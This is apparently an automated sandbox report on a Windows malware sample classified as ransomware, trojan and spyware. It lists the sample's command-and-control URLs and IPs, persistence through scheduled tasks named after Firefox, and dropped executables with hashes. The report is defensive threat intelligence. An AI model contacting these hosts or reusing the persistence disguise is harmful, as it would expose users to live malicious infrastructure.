http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6nal./	F5C7.exe, 00000010.00000003.568041358.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://search.msn.com/msnbot.htm)msnbot/1.1	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d9-90CE-806E6F6E6963	F5C7.exe, 00000010.00000003.521688880.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.519523490.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://v.xyzgamev.com/31.htmlnH1	20C0.exe, 00000019.00000003.562015505.0000000000655000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com/xy.dllAAIAAA	F5C7.exe, 00000010.00000003.520210778.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.516302551.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522621920.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517211796.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safe(	F5C7.exe, 00000010.00000003.561404393.0000000002827000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.563034979.000000000282C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landing	20C0.exe, 00000019.00000003.549967318.0000000000645000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.550518451.0000000000655000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.563412912.0000000000641000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.669600782.0000000002EF2000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.546071000.0000000000647000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.552955233.0000000000641000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.547987765.0000000000654000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.553006526.0000000000645000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.677674373.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.581064428.0000000000664000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.562015505.0000000000655000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.561767897.000000000066A000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.582577568.0000000000641000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.547050987.000000000063A000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.667173651.0000000002EF0000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.541757314.000000000063A000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.545975911.0000000000652000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.581128526.000000000066D000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.672543742.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.568349499.0000000000636000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.550967523.0000000000645000.00000004.00000020.00020000.00000000.sdmp	false		high
https://v.P	20C0.exe, 00000019.00000003.550281421.0000000000655000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com:80/json/	F5C7.exe, 00000010.00000003.506652108.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.508136350.000000000057C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557fd	F5C7.exe, 00000010.00000003.527001654.0000000000621000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.525704035.000000000061E000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.529182805.0000000000621000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.525673335.0000000000618000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safep	F5C7.exe, 00000010.00000003.544697823.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.595084377.00000000005AD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://v.xyzgamev.com/	20C0.exe, 00000019.00000003.552888612.0000000000639000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://linislominyt11.ww.hhiuew33.com/	F5C7.exe, 00000010.00000003.529801460.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541248712.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.524664098.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522444773.0000000000567000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safek/?s	F5C7.exe, 00000010.00000003.545439947.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.545386754.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://v..hhiuew33.com/check/safe	F5C7.exe, 00000010.00000002.589133590.0000000000567000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html	20C0.exe, 00000019.00000002.584832449.000000000019B000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com:80/check/safe2251403&key=8e2d61f4841dacf51fa24992b8b77e1cZ0lpSXNJQ0oxYVdRaU9	F5C7.exe, 00000010.00000002.591676814.000000000057C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blockstream.info/apihttps://sofolisk.com/api/loginvalid	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com/check/safeq	F5C7.exe, 00000010.00000003.509826918.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://blockchain.infoindex	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.avantbrowser.com)MOT-V9mm/00.62	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.hhiuew33.com/check/safe3Z	F5C7.exe, 00000010.00000003.509955954.00000000005AD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265dac	F5C7.exe, 00000010.00000003.520094949.000000000057C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://search.msn.com/msnbot.htm)pkcs7:	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/safeeW	F5C7.exe, 00000010.00000003.512594646.000000000057C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/-rx	F5C7.exe, 00000010.00000003.525366626.000000000059A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.209.157.230	stylesheet.faseaegasdfase.com	Netherlands	18978	ENZUINC-US	true
37.34.248.24	unknown	Kuwait	42961	GPRS-ASZAINKW	false
24.232.210.245	unknown	Argentina	10318	TelecomArgentinaSAAR	false
210.92.250.133	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
104.21.40.196	v.xyzgamev.com	United States	13335	CLOUDFLARENETUS	true
185.237.206.60	monsutiur4.com	Ukraine	21100	ITLDC-NLUA	true
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
172.67.188.70	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.137.109	i.xyzgamei.com	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	b.game2723.com	European Union	13335	CLOUDFLARENETUS	true
104.21.1.91	trustnero.com	United States	13335	CLOUDFLARENETUS	true
206.221.182.74	amrhomedecor.com	United States	23470	RELIABLESITEUS	true
186.182.55.44	linislominyt11.at	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	true
162.0.217.254	api.2ip.ua	Canada	35893	ACPCA	false
45.136.151.102	www.hhiuew33.com	Latvia	18978	ENZUINC-US	true
190.140.74.43	unknown	Panama	18809	CableOndaPA	false
172.67.202.54	fakermet.com	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	694057
Start date and time:	2022-08-31 14:26:15 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@24/13@102/18
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 9.4% (good quality ratio 6.7%) Quality average: 44.8% Quality standard deviation: 37.2%
HCA Information:	Successful, ratio: 84% Number of executed functions: 53 Number of non-executed functions: 90
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, consent.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 20.82.154.241
Excluded domains from analysis (whitelisted): rp-consumer-prod-displaycatalog-geomap.trafficmanager.net, eudb.ris.api.iris.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neus1c-displaycatalog.frontdoor.bigcatalog.commerce.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:28:04	Task Scheduler	Run new task: Firefox Default Browser Agent 2B99051C8CF57CA8 path: C:\Users\user\AppData\Roaming\bhseufd
14:28:44	API Interceptor	20x Sleep call for process: F5C7.exe modified
14:29:01	API Interceptor	39x Sleep call for process: 20C0.exe modified
14:29:33	Task Scheduler	Run new task: Firefox Default Browser Agent 5DC53518B506DD2E path: C:\Users\user\AppData\Roaming\euseufd

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
85.209.157.230	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe
	file.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	wu2Z96cOb9.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	GFXTXvWhyQ.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	p23HEjyysu.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	NJUODEI1fC.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe
	M61ridRaIr.exe	Get hash	malicious	Browse	stylesheet.faseaegasdfase.com/hp8/g1/rtst1083.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
v.xyzgamev.com	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	R2axoid4If.exe	Get hash	malicious	Browse	172.67.188.70
	x9rKinpIYb.exe	Get hash	malicious	Browse	172.67.188.70
	fcBCfIrYKl.exe	Get hash	malicious	Browse	172.67.188.70
	n7BcSmkxd4.exe	Get hash	malicious	Browse	172.67.188.70
	OkbEuAbPVe.exe	Get hash	malicious	Browse	172.67.188.70
	1DHOc1acXH.exe	Get hash	malicious	Browse	172.67.188.70
	EDa3BsiRFM.exe	Get hash	malicious	Browse	172.67.188.70
	Y3sZUTYrPw.exe	Get hash	malicious	Browse	172.67.188.70
	lUKKUgVut8.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196
	file.exe	Get hash	malicious	Browse	172.67.188.70
	file.exe	Get hash	malicious	Browse	104.21.40.196

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ENZUINC-US	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	CBBsLdgEAZ.elf	Get hash	malicious	Browse	23.245.1.238
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	85.209.157.230
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	SecuriteInfo.com.Suspicious.Win32.Save.a.22935.12419.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	85.209.157.230
	https://tamilblasters.casa/	Get hash	malicious	Browse	23.88.0.234
	file.exe	Get hash	malicious	Browse	45.136.151.102
	file.exe	Get hash	malicious	Browse	45.136.151.102
GPRS-ASZAINKW	file.exe	Get hash	malicious	Browse	37.34.248.24
	file.exe	Get hash	malicious	Browse	37.34.248.24
	uY8B4Pv9Lq.elf	Get hash	malicious	Browse	37.34.162.26
	file.exe	Get hash	malicious	Browse	37.34.248.24
	yH4Tztq7Ly.elf	Get hash	malicious	Browse	31.203.161.120
	file.exe	Get hash	malicious	Browse	37.34.248.24
	file.exe	Get hash	malicious	Browse	37.34.248.24
	BGYSmzvtt5	Get hash	malicious	Browse	31.214.81.92
	file.exe	Get hash	malicious	Browse	37.34.248.24
	file.exe	Get hash	malicious	Browse	37.34.248.24
	file.exe	Get hash	malicious	Browse	37.34.248.24
	file.exe	Get hash	malicious	Browse	37.34.248.24
	skid.arm-20220826-1512	Get hash	malicious	Browse	37.38.6.57
	file.exe	Get hash	malicious	Browse	37.34.248.24
	SmaW3fT47W.exe	Get hash	malicious	Browse	37.34.248.24
	file.exe	Get hash	malicious	Browse	37.34.248.24
	361ybmgDmR	Get hash	malicious	Browse	95.66.84.204
	p4HoL8EatO	Get hash	malicious	Browse	188.236.168.201
	z3hir.x86	Get hash	malicious	Browse	37.36.78.215
	qt0IdH3xWa	Get hash	malicious	Browse	95.66.114.210

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	x.dll.dll	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	x.dll.dll	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	HOM AL200007594.docx.doc	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	QUOTATION REQUIRED.docx.doc	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	KN2ZPgeewA.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	de01306472173a9ce5cf08dd608c83b5ec71e028b120f.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	file.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	R2axoid4If.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	x9rKinpIYb.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	SecuriteInfo.com.BScope.Trojan.Wacatac.24873.13450.exe	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	http://bit.ly/e0Mw9w	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54
	test01.xlsx	Get hash	malicious	Browse	172.67.188.70 172.67.137.109 188.114.96.3 104.21.40.196 104.21.1.91 206.221.182.74 172.67.202.54

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\20C0.exe	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	KHJGTNuePB.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\geo[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\D7DE.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	500
Entropy (8bit):	4.506396506853555
Encrypted:	false
SSDEEP:	12:YZIW67kt/QVFRbIm/QVAY9QVFRHQVFRRaZRQVFRQQVFRUm62jOH4:YrFQVFRbI0QVAY9QVFRHQVFRGRQVFRQ+
MD5:	5A28E5DBBA508DE227FFA80021CAEC1C
SHA1:	317C8045C34B60034850C1A0FF0BEF53F4BC4E09
SHA-256:	E8457A2D4838AF8EFE1FA83FC689A55D25992A101616733CA26171AEA5B8D0AB
SHA-512:	EA3283645E38EB004D49B3ADCECE8E7A7C8A00044CA536FB6170C469838A31D96ED204470E66EF48E6FE3C0DD48B1D09BE163415E063695D113EAAE1380C11F1
Malicious:	false
Preview:	{"ip":"102.129.143.57","country_code":"CH","country":"Switzerland","country_rus":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u044f","country_ua":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0456\u044f","region":"Zurich","region_rus":"\u0426\u044e\u0440\u0438\u0445","region_ua":"\u0426\u044e\u0440\u0438\u0445","city":"Zurich","city_rus":"\u0426\u044e\u0440\u0438\u0445","city_ua":"\u0426\u044e\u0440\u0438\u0445","latitude":"47.36667","longitude":"8.55","zip_code":"8099","time_zone":"+02:00"}

C:\Users\user\AppData\Local\Temp\20C0.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	188416
Entropy (8bit):	6.933168679739018
Encrypted:	false
SSDEEP:	3072:DBu/booFZs+4oOYcmtbRkF/pstBaDqwONnct43EpstBaDqwONnct43rBl3N2UR:DBu/boGUoOciF/p/uwONct43Ep/uwON/
MD5:	AE9E2CE4CF9B092A5BBFD1D5A609166E
SHA1:	00C12EC16B5116403AE1A9923B114451880B741D
SHA-256:	CA5795709AF3BC2E03EC02C7307D5C85A844C421E36AFE30EB0F571E79342E87
SHA-512:	54727C7931293B6498E20B602DA13FF48498F2F52ABDE5CB79A412C128CDA203DB11F616F22D70F37CAD51D8642F5DDC8E3E761A2300545DA8A0F379612F15DA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 54%, Browse Antivirus: ReversingLabs, Detection: 77%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KHJGTNuePB.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........'d..F...F...F..=IU..F...w..F...d..F...g..F..=IW..F...F...F...x..F...r..F..Rich.F..........PE..L...q..c..........................................@.........................................................................L...d....P..(...............................................................@............................................text............................... ..`.rdata..,+.......0..................@..@.data...D4....... ..................@....rsrc........P.......0..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\361E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	305152
Entropy (8bit):	6.4796639268172616
Encrypted:	false
SSDEEP:	6144:WL2SEPGF1RCyS5UjYnHYX0z3ky16hltyliRMAf4kYZx+lx8hcbp9uIqVjt:1SJ1RCyS5cmHYXyUy1Pmfhs+XS
MD5:	9BCF2E87EAD0F21D2D02C9D1ABF7063C
SHA1:	405E43321A525D0332684C7C5542AE869D09E3D9
SHA-256:	81A92D59E06B8B8AFFA13457591BFADAC83DAF543A6A1DF1B46AB2DF59605073
SHA-512:	8E17316A898A8FC318F447963393766898CD4AE9DBA14EA050FCC3847EF8CBA6D9D09A0573D85B1E91017BA3FBBA9D6082768C143FCCD197981E66EA5A4FD2D1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&mEZb.+.b.+.b.+.\|^..u.+.\|^....+.E.P.e.+.b.*...+.\|^..Y.+.\|^..c.+.\|^..c.+.Richb.+.........................PE..L....b4a......................B..............0....@...........................D.............................................\...P.....D.@Q..........................................................0...@............................................text............................... ..`.data...(KA..0...@..................@....rsrc...@Q....D..R...V..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\56E6.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4342312
Entropy (8bit):	7.9736168528183855
Encrypted:	false
SSDEEP:	98304:XWnLwmzca34QZqlDkz6/wnPxtnVg4QpMOn32wd:XW8scaIFlYz6eP3K42MSGwd
MD5:	5C59A1B24CC858398AEA8C7A1AE32406
SHA1:	47279152139F943FD75A47B761B4466E67C9CACB
SHA-256:	AA44DA033FF4EDBCF635A4CE8F91A1DF1C3731A6F31CE8B3657F79D933C8D3BE
SHA-512:	1BD82404F91C6730417C70F9BFCCFD14B1D5C000BA7E288631498E8A5B2F55B02DF155A7EA788C07C1010ADFF0A7D6A7A682C6FF73D73B7C1DF807D28B4F78EB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&mEZb.+.b.+.b.+.\|^..u.+.\|^....+.E.P.e.+.b.*...+.\|^..Y.+.\|^..c.+.\|^..c.+.Richb.+.........................PE..L....n`.....................................0....@...................................C.....................................\...P.......@Q...........:B.(...........................................0...@............................................text............................... ..`.data...h.~..0....>.................@....rsrc...@........R....A.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BB5C.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1597440
Entropy (8bit):	7.06170844167196
Encrypted:	false
SSDEEP:	24576:xJ/kttVCipK1QNyLNhJP4asXuomkJqe+gdVRxTmRG0:T/ktOn1CyLN21JdDT
MD5:	343FF03A8AD7E42A3818D0031B854EA6
